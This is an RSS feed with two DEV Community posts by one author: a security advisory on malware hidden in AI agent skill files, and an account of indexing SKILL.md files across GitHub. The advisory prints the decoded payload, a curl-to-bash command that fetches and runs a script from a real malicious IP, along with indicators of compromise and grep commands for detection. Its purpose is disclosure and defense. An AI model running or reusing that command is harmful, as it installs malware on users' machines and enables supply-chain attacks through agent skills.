<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: airano</title>
    <description>The latest articles on DEV Community by airano (@airano).</description>
    <link>https://dev.to/airano</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3748951%2Ffc7fd9f8-0bf8-4fe6-ae2f-734114179a4e.png</url>
      <title>DEV Community: airano</title>
      <link>https://dev.to/airano</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/airano"/>
    <language>en</language>
    <item>
      <title>🚨 Malware Found in AI Agent Skills: A Security Advisory</title>
      <dc:creator>airano</dc:creator>
      <pubDate>Fri, 20 Mar 2026 02:16:27 +0000</pubDate>
      <link>https://dev.to/airano/malware-found-in-ai-agent-skills-a-security-advisory-3e7k</link>
      <guid>https://dev.to/airano/malware-found-in-ai-agent-skills-a-security-advisory-3e7k</guid>
      <description>&lt;p&gt;We recently discovered malware hiding in plain sight within AI agent skill files on GitHub. This post details the attack, how we caught it, and what to do if you're affected.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happened
&lt;/h2&gt;

&lt;p&gt;During routine AI-powered security reviews on &lt;a href="https://skills.palebluedot.live" rel="noopener noreferrer"&gt;SkillHub&lt;/a&gt; — an open-source marketplace for AI agent skills — our automated review pipeline flagged 5 skills from the &lt;code&gt;openclaw/skills&lt;/code&gt; GitHub repository as malicious.&lt;/p&gt;

&lt;p&gt;These skills disguise themselves as useful tools:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Skill&lt;/th&gt;
&lt;th&gt;Claimed Purpose&lt;/th&gt;
&lt;th&gt;Downloads&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;auto-updater&lt;/td&gt;
&lt;td&gt;Auto-update installed skills&lt;/td&gt;
&lt;td&gt;443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gog&lt;/td&gt;
&lt;td&gt;Google Workspace CLI&lt;/td&gt;
&lt;td&gt;176&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;excel&lt;/td&gt;
&lt;td&gt;Excel file handling&lt;/td&gt;
&lt;td&gt;149&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nano-pdf&lt;/td&gt;
&lt;td&gt;PDF editing&lt;/td&gt;
&lt;td&gt;133&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;youtube-watcher&lt;/td&gt;
&lt;td&gt;YouTube transcripts&lt;/td&gt;
&lt;td&gt;115&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Total affected downloads: ~1,016&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Attack
&lt;/h2&gt;

&lt;p&gt;All five skills follow the same pattern:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Present as a legitimate, useful tool&lt;/li&gt;
&lt;li&gt;Require installing "OpenClawProvider" as a dependency&lt;/li&gt;
&lt;li&gt;The installation instructions contain a base64-encoded command&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On macOS, the encoded payload decodes to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;​/bin/bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; http://91.92.242.30/lamq4uerkruo6ssm&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This silently downloads and executes an arbitrary script from a raw IP address — a textbook malware delivery technique.&lt;/p&gt;

&lt;p&gt;On Windows, users are directed to a password-protected archive (password: &lt;code&gt;openclaw&lt;/code&gt;) from &lt;code&gt;install.app-distribution.net&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;AI agent skills are a new attack surface. Skills are designed to be loaded by AI agents that often have system-level access — file system, shell execution, network. A malicious skill doesn't just compromise data; it can weaponize the AI agent itself.&lt;/p&gt;

&lt;p&gt;This is a &lt;strong&gt;supply-chain attack&lt;/strong&gt; targeting developers and AI users. The &lt;code&gt;openclaw/skills&lt;/code&gt; repository has 90K+ commits and thousands of legitimate skills, providing cover for the malicious ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  How We Caught It
&lt;/h2&gt;

&lt;p&gt;SkillHub uses a multi-phase AI review pipeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phase A&lt;/strong&gt;: Quick content filter scans for suspicious patterns (base64 blobs, encoded URLs, eval/exec patterns)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phase B&lt;/strong&gt;: Deep file analysis examines the full skill contents and identifies obfuscated execution chains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The AI reviewer identified the base64→curl→bash pattern and automatically flagged the skills as malicious.&lt;/p&gt;

&lt;h2&gt;
  
  
  What We Did
&lt;/h2&gt;

&lt;p&gt;All five skills were immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Flagged as malicious (warning page, not 404)&lt;/li&gt;
&lt;li&gt;File downloads blocked (HTTP 403)&lt;/li&gt;
&lt;li&gt;CLI installation blocked&lt;/li&gt;
&lt;li&gt;Removed from all browse/search listings&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Are You Affected?
&lt;/h2&gt;

&lt;p&gt;If you've installed any skills from &lt;code&gt;openclaw/skills&lt;/code&gt;, check for:&lt;/p&gt;

&lt;h1&gt;
  
  
  Search for the malicious pattern
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"OpenClawProvider"&lt;/span&gt; ~/.claude/ ~/.codex/ .cursor/ 2&amp;gt;/dev/null
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"91.92.242.30"&lt;/span&gt; ~/.claude/ ~/.codex/ .cursor/ 2&amp;gt;/dev/null

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If found:&lt;/strong&gt; Delete the skill files, check your shell history and crontabs, rotate any credentials that were accessible, and run a malware scan.&lt;/p&gt;

&lt;h2&gt;
  
  
  IOCs
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IP: 91.92.242.30 (Omegatech LTD, Seychelles)
Domain: install.app-distribution.net
Pattern: "OpenClawProvider" in setup instructions

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Full Advisory
&lt;/h2&gt;

&lt;p&gt;Read the complete advisory with detailed remediation steps: &lt;a href="https://blog.palebluedot.live/2026/03/19/malware-openclaw-skills-security-advisory/" rel="noopener noreferrer"&gt;blog.palebluedot.live/malware-openclaw-skills-security-advisory&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Investigation is ongoing. If you find suspicious skills, report them on &lt;a href="https://skills.palebluedot.live/en/support" rel="noopener noreferrer"&gt;SkillHub's support page&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;&lt;a href="https://skills.palebluedot.live" rel="noopener noreferrer"&gt;SkillHub&lt;/a&gt; is an open-source marketplace for AI agent skills with automated security review.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>malware</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How I Indexed 172,000+ AI Agent Skills Using Multi-Strategy Discovery</title>
      <dc:creator>airano</dc:creator>
      <pubDate>Tue, 03 Feb 2026 00:11:09 +0000</pubDate>
      <link>https://dev.to/airano/how-i-indexed-172000-ai-agent-skills-using-multi-strategy-discovery-1ne3</link>
      <guid>https://dev.to/airano/how-i-indexed-172000-ai-agent-skills-using-multi-strategy-discovery-1ne3</guid>
      <description>&lt;p&gt;GitHub's search API has a hard limit: &lt;strong&gt;1,000 results per query&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We have &lt;strong&gt;172,000+ skills&lt;/strong&gt; indexed.&lt;/p&gt;

&lt;p&gt;Here's how we built a discovery system that found them all—without breaking any rules.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: Skills Are Everywhere
&lt;/h2&gt;

&lt;p&gt;AI agents like Claude Code, OpenAI Codex, and GitHub Copilot use &lt;strong&gt;SKILL.md files&lt;/strong&gt; to learn new capabilities. These skills teach agents how to handle PDFs, write Excel formulas, follow brand guidelines, and much more.&lt;/p&gt;

&lt;p&gt;The problem? These skills are scattered across thousands of GitHub repositories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Some live in &lt;code&gt;~/.claude/skills/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Others in &lt;code&gt;.github/skills/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Many in random &lt;code&gt;skills/&lt;/code&gt; folders&lt;/li&gt;
&lt;li&gt;And countless more in personal dotfiles repos&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Finding the right skill is like searching for a needle in a haystack of haystacks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I tried GitHub's search: &lt;code&gt;filename:SKILL.md&lt;/code&gt;. It returned results, but never more than 1,000. The &lt;a href="https://docs.github.com/en/rest/search" rel="noopener noreferrer"&gt;GitHub API documentation&lt;/a&gt; confirms this limit—and there's no way around it with a single query.&lt;/p&gt;

&lt;p&gt;So I built something different.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgf2tvbj5aridi9fsw5b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgf2tvbj5aridi9fsw5b.png" alt="SkillHub Homepage" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Our Approach: Multi-Strategy Discovery
&lt;/h2&gt;

&lt;p&gt;Instead of fighting the 1,000-result limit, we work &lt;em&gt;with&lt;/em&gt; it by running &lt;strong&gt;multiple specialized searches&lt;/strong&gt;. Each strategy targets a different slice of the skill ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategy 1: Path-Based Search
&lt;/h3&gt;

&lt;p&gt;Skills follow predictable directory patterns. We search each path separately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;filename:SKILL.md path:skills
filename:SKILL.md path:.claude
filename:SKILL.md path:.github
filename:SKILL.md path:.codex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each query can return up to 1,000 results. Four queries = up to 4,000 potential discoveries.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategy 2: File Size Segmentation
&lt;/h3&gt;

&lt;p&gt;GitHub lets you filter by file size. We segment our searches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;filename:SKILL.md size:&amp;lt;1000      # Small skills
filename:SKILL.md size:1000..5000 # Medium skills
filename:SKILL.md size:&amp;gt;5000      # Large skills
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same file, different queries, different result sets.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategy 3: Topic-Based Discovery
&lt;/h3&gt;

&lt;p&gt;Many skill repositories use GitHub topics. We search for repos tagged with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;claude-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;agent-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ai-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mcp-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;llm-skills&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then deep-scan each repository for SKILL.md files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategy 4: Awesome List Crawling
&lt;/h3&gt;

&lt;p&gt;The community maintains curated lists of skills:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;awesome-claude-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;awesome-agent-skills&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;awesome-copilot&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We parse these lists and index every linked repository.&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategy 5: Fork Network Traversal
&lt;/h3&gt;

&lt;p&gt;When we find a popular skills repository, we also check its forks. Forks often contain additional or modified skills that never made it back to the original repo.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;p&gt;Here's what powers the discovery and search:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Technology&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Web App&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Next.js 15&lt;/td&gt;
&lt;td&gt;Marketplace UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Database&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;Skill metadata, ratings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Search&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Meilisearch&lt;/td&gt;
&lt;td&gt;Full-text search with typo tolerance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Queue&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Redis + BullMQ&lt;/td&gt;
&lt;td&gt;Background crawl jobs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;td&gt;Install skills from terminal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The indexer runs on a schedule:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Daily&lt;/strong&gt;: Incremental crawl (new/updated skills)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weekly&lt;/strong&gt;: Full discovery (all strategies)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;On-demand&lt;/strong&gt;: Process user-submitted repositories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All queries use authenticated GitHub API requests with proper rate limit handling. We rotate between multiple tokens to stay well within limits.&lt;/p&gt;




&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;After running our multi-strategy discovery:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Skills Indexed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;172,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Contributors&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Categories&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Platforms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude, Codex, Copilot&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funybhukhao18opgkevvz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funybhukhao18opgkevvz.png" alt="Search Results" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The search is fast. Type "pdf" and get relevant results in milliseconds, ranked by GitHub stars, download count, and security status.&lt;/p&gt;

&lt;p&gt;Every skill is scanned for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dangerous shell commands&lt;/li&gt;
&lt;li&gt;Prompt injection patterns&lt;/li&gt;
&lt;li&gt;Data exfiltration attempts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Skills that pass get a green checkmark. Those with issues get flagged.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try It Now
&lt;/h2&gt;

&lt;p&gt;Install the CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; skillhub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Search for skills:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;skillhub search pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install a skill:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;skillhub &lt;span class="nb"&gt;install &lt;/span&gt;anthropics/skills/pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhy6j6984d6bmxwg4qrc2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhy6j6984d6bmxwg4qrc2.gif" alt="CLI Demo" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or browse all 172,000+ skills on the web:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://skills.palebluedot.live" rel="noopener noreferrer"&gt;skills.palebluedot.live&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;We're working on:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Native Claude Code integration&lt;/strong&gt; via MCP protocol&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skill verification&lt;/strong&gt; with author confirmation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Usage analytics&lt;/strong&gt; so you know which skills actually work&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The entire project is open source under MIT license.&lt;/p&gt;




&lt;h2&gt;
  
  
  Your Turn
&lt;/h2&gt;

&lt;p&gt;What skills would you like to see indexed? Any repositories we should add?&lt;/p&gt;

&lt;p&gt;Drop a comment below—I read every one.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built with Next.js, PostgreSQL, Meilisearch, and way too much coffee.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>ai</category>
      <category>github</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
